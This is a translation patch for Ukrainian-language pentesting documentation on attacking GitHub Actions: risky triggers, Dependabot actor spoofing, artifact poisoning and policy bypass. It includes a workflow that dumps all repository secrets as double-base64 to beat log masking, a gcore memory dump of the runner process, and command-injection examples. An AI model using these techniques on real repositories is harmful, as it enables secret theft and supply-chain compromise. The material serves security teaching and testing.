From d452cf43e599741e5ed47e0be18756b1f2496bd8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 29 Sep 2025 22:23:54 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor --- .../abusing-github-actions/README.md | 218 ++++++++-------- .../gh-actions-context-script-injections.md | 46 ++-- .../basic-github-information.md | 244 +++++++++--------- .../az-azure-ai-foundry-post-exploitation.md | 50 ++-- .../gcp-vertex-ai-post-exploitation.md | 74 +++--- .../pentesting-cloud-methodology.md | 92 +++---- 6 files changed, 362 insertions(+), 362 deletions(-) diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index 227942417..3a3cd9d27 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -16,25 +16,25 @@ The following tools are useful to find Github Action workflows and even find vul На цій сторінці ви знайдете: -- Короткий огляд усіх наслідків, якщо зловмисник отримає доступ до Github Action +- **Огляд усіх наслідків** у разі, якщо нападник отримає доступ до Github Action - Різні способи **отримати доступ до action**: -- Наявність **permissions** для створення action +- Маючи **permissions** для створення action - Зловживання тригерами, пов'язаними з **pull request** -- Зловживання іншими зовнішніми методами доступу -- **Pivoting** з уже скомпрометованого repo -- Нарешті, розділ про **post-exploitation techniques** для зловживання action зсередини (що викликають зазначені наслідки) +- Зловживання **іншими техніками зовнішнього доступу** +- **Pivoting** з уже скомпрометованого репо +- Нарешті, розділ про **post-exploitation techniques to abuse an action from inside** (щоб спричинити згадані наслідки) -## Резюме наслідків +## Підсумок впливів For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions). -Якщо ви можете **execute arbitrary code in GitHub Actions** в межах **repository**, ви зможете: +Якщо ви можете **виконувати довільний код у GitHub Actions** в межах **репозиторію**, ви зможете: -- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. -- **Compromise deployments** and other **artifacts**. -- Якщо pipeline deploys або stores assets, ви можете змінити кінцевий продукт, що дає змогу виконати supply chain attack. -- **Execute code in custom workers** для зловживання обчислювальною потужністю та pivot до інших систем. -- **Overwrite repository code**, в залежності від permissions, пов'язаних з `GITHUB_TOKEN`. +- **Вкрасти secrets**, змонтовані в pipeline, і **зловживати привілеями pipeline** для отримання несанкціонованого доступу до зовнішніх платформ, таких як AWS і GCP. +- **Компрометувати deployments** та інші **artifacts**. +- Якщо pipeline розгортає або зберігає assets, ви можете змінити кінцевий продукт, що дозволяє провести supply chain attack. +- **Виконувати код у custom workers** для зловживання обчислювальними ресурсами та pivot до інших систем. +- **Перезаписати код репозиторію**, залежно від permissions, пов'язаних із `GITHUB_TOKEN`. ## GITHUB_TOKEN @@ -45,7 +45,7 @@ This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.tok This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] -> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. +> Github має випустити a [**flow**](https://github.com/github/roadmap/issues/74) який **дозволяє доступ між репозиторіями** within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) @@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \ {{#endtabs }} > [!CAUTION] -> Зверніть увагу, що в кількох випадках ви зможете знайти **github user tokens inside Github Actions envs or in the secrets**. Ці токени можуть надати вам додаткові привілеї у repository та organization. +> Зверніть увагу, що у деяких випадках ви зможете знайти **github user tokens inside Github Actions envs or in the secrets**. Ці токени можуть надати вам більше привілеїв над репозиторієм та організацією.
-Перелік secrets у виводі Github Action +List secrets in Github Action output ```yaml name: list_env on: @@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Отримати reverse shell з secrets +Отримати reverse shell за допомогою secrets ```yaml name: revshell on: @@ -144,29 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-Можна перевірити дозволи, надані Github Token в репозиторіях інших користувачів, **checking the logs** of the actions: +Можна перевірити права, надані Github Token у репозиторіях інших користувачів, **переглянувши логи** Github Actions:
-## Allowed Execution +## Дозволене виконання > [!NOTE] -> Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що ви маєте доступ до **create a new repo in the organization**, або маєте **write privileges over a repository**. +> Це був би найпростіший спосіб скомпрометувати Github actions, оскільки в цьому випадку передбачається, що у вас є доступ до **створення нового репозиторію в організації**, або є **права запису в репозиторій**. > -> Якщо ви в цій ситуації, ви можете просто переглянути [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). +> Якщо ви в такій ситуації, ви можете просто переглянути [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). -### Execution from Repo Creation +### Виконання через створення репозиторію -У випадку, якщо учасники organization можуть **create new repos** і ви можете виконувати github actions, ви можете **create a new repo and steal the secrets set at organization level**. +Якщо учасники організації можуть **створювати нові репозиторії** і ви можете запускати Github Actions, ви можете **створити новий репозиторій і викрасти секрети, встановлені на рівні організації**. -### Execution from a New Branch +### Виконання з нової гілки -Якщо ви можете **create a new branch in a repository that already contains a Github Action** configured, ви можете **modify** його, **upload** контент, а потім **execute that action from the new branch**. Таким чином ви можете **exfiltrate repository and organization level secrets** (але вам потрібно знати, як вони називаються). +Якщо ви можете **створити нову гілку в репозиторії, який вже містить налаштований Github Action**, ви можете **змінити** його, **завантажити** вміст, а потім **запустити той action із нової гілки**. Таким чином ви можете **витягти секрети на рівні репозиторію та організації** (але вам потрібно знати їхні імена). > [!WARNING] -> Будь-яке обмеження, реалізоване лише всередині workflow YAML (наприклад, `on: push: branches: [main]`, job conditionals, або ручні валіди), може бути відредаговане співавторами. Без зовнішнього примусового застосування (branch protections, protected environments, and protected tags), учасник може перенаправити workflow на свій branch і зловживати змонтованими secrets/permissions. +> Будь-яке обмеження, реалізоване лише всередині workflow YAML (наприклад, `on: push: branches: [main]`, умовні вирази job або ручні підтвердження) може бути відредаговане співавторами. Без зовнішнього контролю (branch protections, protected environments, and protected tags) контриб'ютор може перенаправити workflow на виконання у своїй гілці та зловживати змонтованими секретами/дозволами. -Ви можете зробити змінений action виконуваним **вручну,** коли створено **PR** або коли **якийсь код запушено** (в залежності від того, наскільки багато шуму ви хочете зробити): +Ви можете зробити змінений action виконуваним **вручну,** коли **створюється PR** або коли **певний код пушиться** (залежно від того, наскільки помітними ви хочете бути): ```yaml on: workflow_dispatch: # Launch manually @@ -180,49 +180,49 @@ branches: ``` --- -## Виконання з форку +## Forked Execution > [!NOTE] -> Існують різні тригери, які можуть дозволити атакуючому **виконати Github Action з іншого репозиторію**. Якщо такі тригерувані дії налаштовані неналежним чином, атакуючий може їх скомпрометувати. +> Існують різні тригери, які можуть дозволити атакуючому **виконати Github Action з іншого репозиторію**. Якщо ці тригерні дії погано налаштовані, атакуючий може їх скомпрометувати. ### `pull_request` -Тригер workflow **`pull_request`** виконуватиме workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це **вперше**, коли ви **співпрацюєте**, якийсь **maintainer** повинен **підтвердити** **запуск** workflow: +Тригер workflow **`pull_request`** виконуватиме workflow щоразу, коли надходить pull request, з деякими винятками: за замовчуванням, якщо це **вперше**, коли ви **співпрацюєте**, якийсь **maintainer** має **підтвердити** **запуск** workflow:
> [!NOTE] -> Оскільки **обмеження за замовчуванням** стосуються **перших** контрибуторів, ви можете зробити внесок, **виправивши дійсну помилку/описку**, а потім надіслати **інші PR, щоб зловживати новими привілеями `pull_request`**. +> Оскільки **обмеження за замовчуванням** застосовується до **нових** контрибуторів, ви можете внести PR, виправивши **дійсну помилку/опечатку**, а потім надсилати **інші PRs, щоб зловживати вашими новими `pull_request` привілеями**. > -> **Я це протестував і це не працює**: ~~Іншим варіантом було б створити акаунт з ім'ям когось, хто робив внесок у проєкт, а потім видалив його акаунт.~~ +> **Я це тестував і це не працює**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~ -Крім того, за замовчуванням **запобігає наданню прав на запис** та **доступу до secrets** у цільовому репозиторії, як зазначено в [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): +Крім того, за замовчуванням **перешкоджається надання прав запису** та **доступ до secrets** у цільовому репозиторії, як зазначено в [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. -Атакуючий може змінити визначення Github Action, щоб виконати довільні дії та додати довільні steps. Проте він не зможе вкрасти secrets або перезаписати репо через згадані обмеження. +Атакуючий може змінити визначення Github Action, щоб виконати довільні дії та додати довільні кроки. Однак через згадані обмеження він не зможе вкрасти секрети або перезаписати репо. > [!CAUTION] > **Так, якщо атакуючий змінить у PR github action, який буде тригеритись, його Github Action буде використано, а не той, що з origin repo!** -Оскільки атакуючий також контролює код, що виконується, навіть якщо немає доступу до secrets або прав запису через `GITHUB_TOKEN`, атакуючий, наприклад, може **завантажити шкідливі артефакти**. +Оскільки атакуючий також контролює код, що виконується, навіть якщо немає доступу до секретів або прав запису в `GITHUB_TOKEN`, атакуючий, наприклад, може **завантажувати шкідливі артефакти**. ### **`pull_request_target`** -Тригер workflow **`pull_request_target`** має **права на запис** у цільовому репозиторії та **доступ до secrets** (і не запитує дозволу). +Тригер workflow **`pull_request_target`** має **права запису** до цільового репозиторію та **доступ до секретів** (і не запитує підтвердження). -Зауважте, що тригер workflow **`pull_request_target`** **запускається в базовому контексті** і не в тому, що надається PR (щоб **не виконувати недовірений код**). Для отримання додаткової інформації про `pull_request_target` [**перегляньте docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ -Крім того, для додаткової інформації про цей конкретно небезпечний випадок перегляньте цей [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). +Зверніть увагу, що тригер workflow **`pull_request_target`** **виконується в контексті base** і не в тому, який надає PR (щоб **не виконувати недовірений код**). Для додаткової інформації про `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ +Крім того, для детальнішого розгляду цього конкретно небезпечного використання перегляньте цей [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). -Може здатись, що оскільки **виконуваний workflow** — це той, що визначений у **base**, а **не в PR**, то використання **`pull_request_target`** є **безпечним**, але існує **декілька випадків, коли це не так**. +Може здатися, що оскільки **виконуваний workflow** — це той, що визначений у **base**, а не в PR, то використовувати **`pull_request_target`** **безпечніше**, але є **кілька випадків, коли це неправда**. -І цей тригер матиме **доступ до secrets**. +І цей тригер матиме **доступ до секретів**. ### `workflow_run` -The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. +Тригер [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) дозволяє запускати workflow після завершення іншого workflow, коли він `completed`, `requested` або `in_progress`. -In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: +У цьому прикладі workflow налаштований на запуск після завершення окремого workflow "Run Tests": ```yaml on: workflow_run: @@ -230,29 +230,29 @@ workflows: [Run Tests] types: - completed ``` -Крім того, згідно з документацією: workflow, запущений подією `workflow_run`, може **access secrets and write tokens, even if the previous workflow was not**. +Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. -Такий workflow можна атакувати, якщо він **залежить** від іншого **workflow**, який може бути **triggered** зовнішнім користувачем через **`pull_request`** або **`pull_request_target`**. Декілька вразливих прикладів можна [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Перший полягає в тому, що workflow, який тригериться через **`workflow_run`**, завантажує код атакуючого: `${{ github.event.pull_request.head.sha }}`\ -Другий полягає в **передачі** **artifact** з **untrusted** коду до workflow **`workflow_run`** і використанні вмісту цього artifact таким чином, що це робить його **vulnerable to RCE**. +Такий workflow може бути атакований, якщо він **depends** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ +The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. ### `workflow_call` TODO -TODO: Перевірити, чи коли виконується з `pull_request` використовуваний/завантажений код — з origin чи з forked PR +TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR -## Зловживання виконанням fork'ів +## Зловживання виконанням з форка -Ми перелічили всі способи, якими зовнішній атакуючий може змусити виконатися github workflow; тепер подивімося, як ці виконання, якщо вони неправильно налаштовані, можуть бути зловживані: +Ми вже перелічили всі способи, якими зовнішній атакуючий може змусити github workflow виконатися, тепер подивімося, як такі виконання, якщо вони неправильно налаштовані, можуть бути використані зловмисником: -### Виконання untrusted checkout +### Untrusted checkout execution -У випадку **`pull_request`**, workflow виконуватиметься в **контексті PR** (тому він виконає **malicious PRs code**), але хтось повинен **authorize it first** і воно виконуватиметься з певними [limitations](#pull_request). +У випадку з **`pull_request`** workflow буде виконуватися в **контексті PR** (тобто виконуватиметься **шкідливий код PR**), але хтось повинен його **авторизувати спочатку**, і воно виконуватиметься з певними [обмеженнями](#pull_request). -У випадку workflow, що використовує **`pull_request_target` or `workflow_run`**, який залежить від workflow, який може бути triggered з **`pull_request_target` or `pull_request`**, виконуватиметься код з оригінального repo, тож **attacker cannot control the executed code**. +У випадку workflow, що використовує **`pull_request_target` or `workflow_run`**, який залежить від workflow, що може бути triggered from **`pull_request_target` or `pull_request`**, код з оригінального репозиторію буде виконаний, тож **атакуючий не зможе контролювати виконуваний код**. > [!CAUTION] -> Однак, якщо **action** має **explicit PR checkou**t, який **get the code from the PR** (а не з base), буде використано код, контрольований атакуючим. Наприклад (див. line 12, де завантажується код PR): +> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): 
# INSECURE. Provided as an example only.
 on:
@@ -282,14 +282,14 @@ message: |
 Thank you!
-Потенційно **untrusted code is being run during `npm install` or `npm build`**, оскільки build scripts та згадані **packages are controlled by the author of the PR**. +Потенційно **небезпечний код виконується під час `npm install` або `npm build`**, оскільки build-скрипти та залежні пакети контролюються автором PR. > [!WARNING] -> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` проте існують різні способи налаштувати jobs для безпечного виконання навіть якщо action налаштований небезпечно (наприклад використовуючи conditionals про те, хто є actor, що створює PR). +> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Context Script Injections -Зауважте, що існують певні [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) значення яких **контролюються** користувачем, який створює PR. Якщо github action використовує ці **data to execute anything**, це може призвести до **arbitrary code execution:** +Зверніть увагу, що існують певні [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), значення яких **контролюються** користувачем, що створює PR. Якщо github action використовує ці **дані для виконання чого-небудь**, це може призвести до **виконання довільного коду:** {{#ref}} gh-actions-context-script-injections.md @@ -297,17 +297,17 @@ gh-actions-context-script-injections.md ### **GITHUB_ENV Script Injection** -Згідно з документацією: Ви можете зробити **environment variable available to any subsequent steps** в job'і workflow, визначивши або оновивши змінну оточення та записавши це у файл середовища **`GITHUB_ENV`**. +Згідно з документацією: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. -Якщо атакуючий може **inject any value** в цю **env** змінну, він може ввести змінні оточення, які можуть виконувати код у наступних кроках, наприклад **LD_PRELOAD** або **NODE_OPTIONS**. +Якщо атакуючий може **інжектувати будь-яке значення** у цю змінну середовища, він може додати змінні середовища, які спричинять виконання коду в наступних кроках, наприклад **LD_PRELOAD** або **NODE_OPTIONS**. -Наприклад ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть workflow, який довіряє завантаженому artifact і зберігає його вміст у змінній оточення **`GITHUB_ENV`**. Атакуючий може завантажити щось подібне, щоб скомпрометувати його: +Наприклад ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), уявіть workflow, який довіряє завантаженому artifact і зберігає його вміст у **`GITHUB_ENV`** env variable. Атакуючий міг би завантажити щось на кшталт цього, щоб скомпрометувати його:
-### Dependabot та інші довірені боти +### Dependabot and other trusted bots -Як вказано в [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), кілька організацій мають Github Action, який merges any PRR від `dependabot[bot]`, наприклад: +As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: ```yaml on: pull_request_target jobs: @@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` -Це проблема, тому що поле `github.actor` містить користувача, який спричинив останню подію, що запустила workflow. Існує кілька способів змусити користувача `dependabot[bot]` змінити PR. Наприклад: +Що є проблемою, тому що поле `github.actor` містить користувача, який спричинив останню подію, що запустила workflow. І існує кілька способів змусити користувача `dependabot[bot]` модифікувати PR. Наприклад: -- Fork the victim repository -- Add the malicious payload to your copy -- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code. -- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet) -- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate` -- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs). +- Форкніть репозиторій жертви +- Додайте шкідливий payload до вашої копії +- Увімкніть Dependabot у вашому форку, додавши застарілу залежність. Dependabot створить гілку, яка виправляє залежність і містить шкідливий код. +- Відкрийте Pull Request до репозиторію жертви з тієї гілки (PR буде створено користувачем, тож поки нічого не станеться) +- Потім атакуючий повертається до початкового PR, який Dependabot відкрив у його форку, і виконує `@dependabot recreate` +- Потім Dependabot виконує деякі дії в тій гілці, які модифікують PR у репозиторії жертви, що робить `dependabot[bot]` актором останньої події, яка запустила workflow (і отже, workflow виконується). -Далі: що якби замість злиття Github Action мав command injection, як у: +Далі, що якби замість злиття Github Action мав command injection, як у: ```yaml on: pull_request_target jobs: @@ -336,22 +336,22 @@ if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` -Отже, оригінальний допис у блозі пропонує два варіанти зловживання цією поведінкою, другим з яких є: +Отже, оригінальний блогпост пропонує два варіанти зловживання цією поведінкою, де другим є: -- Форкнути репозиторій жертви та увімкнути Dependabot з якоюсь застарілою залежністю. -- Створити нову гілку з шкідливим shell injection кодом. -- Змінити default branch репо на ту гілку. -- Створити PR з цієї гілки до репозиторію жертви. -- Запустити `@dependabot merge` у PR, який Dependabot відкрив у своєму форку. -- Dependabot змерджить свої зміни в default branch вашого форку, оновивши PR у репозиторії жертви, зробивши тепер `dependabot[bot]` актором останньої події, яка викликала workflow, та використовуючи шкідливу назву гілки. +- Форкніть репозиторій жертви та увімкніть Dependabot з якоюсь застарілою залежністю. +- Створіть нову гілку зі шкідливим shell injeciton кодом. +- Змініть гілку за замовчуванням репо на ту гілку. +- Створіть PR з цієї гілки до репозиторію жертви. +- Запустіть `@dependabot merge` в PR, який Dependabot відкрив у його форку. +- Dependabot зіллє його зміни в гілку за замовчуванням вашого форкнутого репозиторію, оновивши PR в репозиторії жертви, зробивши тепер `dependabot[bot]` актором останньої події, що запустила workflow, і використовуючи шкідливу назву гілки. -### Vulnerable Third Party Github Actions +### Уразливі сторонні Github Actions #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) -Як зазначено в [**цьому дописі**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), цей Github Action дозволяє отримувати доступ до artifacts з різних workflow і навіть з інших репозиторіїв. +Як зазначено в [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), цей Github Action дозволяє отримувати доступ до artifacts з різних workflows і навіть repositories. -Проблема в тому, що якщо параметр **`path`** не заданий, артефакт розпаковується в поточну директорію і може перезаписати файли, які пізніше можуть бути використані або навіть виконані у workflow. Тому, якщо Artifact вразливий, нападник може зловживати цим, щоб скомпрометувати інші workflow, які довіряються цьому Artifact. +Проблема в тому, що якщо параметр **`path`** не задано, артефакт розпаковується в поточний каталог і може перезаписати файли, які потім можуть бути використані або навіть виконані у workflow. Тому, якщо Artifact уразливий, атакуючий може зловживати цим, щоб скомпрометувати інші workflows, що довіряють цьому Artifact. Example of vulnerable workflow: ```yaml @@ -397,23 +397,23 @@ path: ./script.py ### Deleted Namespace Repo Hijacking -If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. +Якщо account змінює своє ім'я, інший користувач може зареєструвати account з цим іменем згодом. Якщо repository мав **less than 100 stars previously to the change of name**, Github дозволить новому зареєстрованому користувачу з тим самим ім'ям створити **repository with the same name** як той, що був видалений. > [!CAUTION] -> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. +> Тому, якщо action використовує repo з неіснуючого account, все ще можливо, що зловмисник зможе створити цей account і compromise action. -If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +Якщо інші repositories використовували **dependencies from this user repos**, зловмисник зможе hijack їх. Детальніше: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). +> У цьому розділі ми поговоримо про техніки, які дозволяють **pivot from one repo to another**, припускаючи, що ми маємо певний доступ до першого (див. попередній розділ). ### Cache Poisoning -A cache is maintained between **workflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +Між workflow runs в тій самій branch підтримується cache. Це означає, що якщо зловмисник compromise package, який потім зберігається в cache і потім downloaded та виконується більш привілейованим workflow, він також зможе compromise і цей workflow. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: +Workflows можуть використовувати **artifacts from other workflows and even repos** — якщо зловмиснику вдасться compromise Github Action, яка **uploads an artifact**, який пізніше використовується іншим workflow, він зможе compromise й інші workflows: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **action буде виконано без жодних обмежень.** +Як зазначено в [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), навіть якщо repository або organization має політику, що обмежує використання певних actions, зловмисник може просто download (`git clone`) action всередині workflow і потім посилатися на нього як на local action. Оскільки політики не впливають на local paths, **the action will be executed without any restriction.** -Приклад: +Example: ```yaml on: [push, pull_request] @@ -468,15 +468,15 @@ path: gha-hazmat ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### Доступ до секретів +### Доступ до secrets -Якщо ви вставляєте вміст у скрипт, корисно знати, як отримати доступ до секретів: +Якщо ви вставляєте вміст у скрипт, корисно знати, як можна отримати доступ до secrets: -- Якщо секрет або токен задані як **змінна середовища**, їх можна напряму отримати, використовуючи **`printenv`**. +- Якщо secret або token встановлено як **environment variable**, їх можна безпосередньо отримати через середовище за допомогою **`printenv`**.
-Перелічити секрети у виводі Github Action +Перелічити secrets у виводі Github Action ```yaml name: list_env on: @@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Отримати reverse shell за допомогою secrets +Отримати reverse shell за допомогою секретів ```yaml name: revshell on: @@ -526,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
-- Якщо secret використовується **безпосередньо в виразі**, згенерований shell script зберігається **на диску** і доступний. +- Якщо секрет використовується **безпосередньо в виразі**, згенерований shell-скрипт зберігається **на диску** і доступний. - ```bash cat /home/runner/work/_temp/* ``` -- Для JavaScript actions secrets передаються через змінні середовища +- Для JavaScript actions секрети передаються через environment variables - ```bash ps axe | grep node ``` -- Для **custom action** ризик може варіюватися залежно від того, як програма використовує секрет, який вона отримала з **argument**: +- Для **custom action** ризик може варіюватися залежно від того, як програма використовує секрет, отриманий з **argument**: ```yaml uses: fakeaction/publish@v3 @@ -542,7 +542,7 @@ with: key: ${{ secrets.PUBLISH_KEY }} ``` -- Перелічіть всі secrets через secrets context (collaborator level). Контриб'ютор з правами write може змінити workflow в будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використовуйте подвійне base64, щоб обійти GitHub’s log masking, і декодуйте локально: +- Перелічіть всі secrets через secrets context (рівень collaborator). Контриб'ютор з правами запису може змінити workflow у будь-якій гілці, щоб вивантажити всі repository/org/environment secrets. Використовуйте подвійне base64, щоб обійти маскування логів GitHub та декодувати локально: ```yaml name: Steal secrets @@ -558,7 +558,7 @@ run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` -Декодуйте локально: +Розкодувати локально: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d @@ -568,20 +568,20 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d ### Зловживання Self-hosted runners -Щоб знайти, які **GitHub Actions виконуються поза інфраструктурою GitHub**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml для Github Action. +Щоб знайти, які **Github Actions виконуються в інфраструктурі поза GitHub**, шукайте **`runs-on: self-hosted`** у конфігураційному yaml Github Action. -**Self-hosted** runners можуть мати доступ до **додаткової конфіденційної інформації**, до інших **мережевих систем** (вразливі endpoints у мережі? metadata service?) або, навіть якщо він ізольований і буде знищений, **можуть виконуватись більше ніж одна action одночасно**, і зловмисна дія може **вкрасти secrets** іншої. +**Self-hosted** ранери можуть мати доступ до **додаткової чутливої інформації**, інших **мережевих систем** (вразливі endpoints у мережі? metadata service?) або, навіть якщо вони ізольовані і видалені, **декілька action-ів можуть виконуватися одночасно**, і зловмисний може **вкрасти secrets** іншого. -На self-hosted runners також можливо отримати **secrets from the \_Runner.Listener**\_\*\* process\*\*, який міститиме всі secrets workflow на будь-якому кроці, шляхом дампу його пам'яті: +У self-hosted ранерах також можливо отримати **secrets from the \_Runner.Listener**\_\*\* process\*\*, який міститиме всі secrets workflow-ів на будь-якому кроці шляхом дампу його пам'яті: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -Перегляньте [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). -### Регістр Docker-образів у Github +### Github Docker Images Registry -Можна створити Github actions, які будуть **build and store a Docker image inside Github**.\ +Можна створити Github actions, які **будуть збирати та зберігати Docker image всередині Github**.\ Приклад можна знайти в наступному розкривному блоці:
@@ -617,31 +617,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
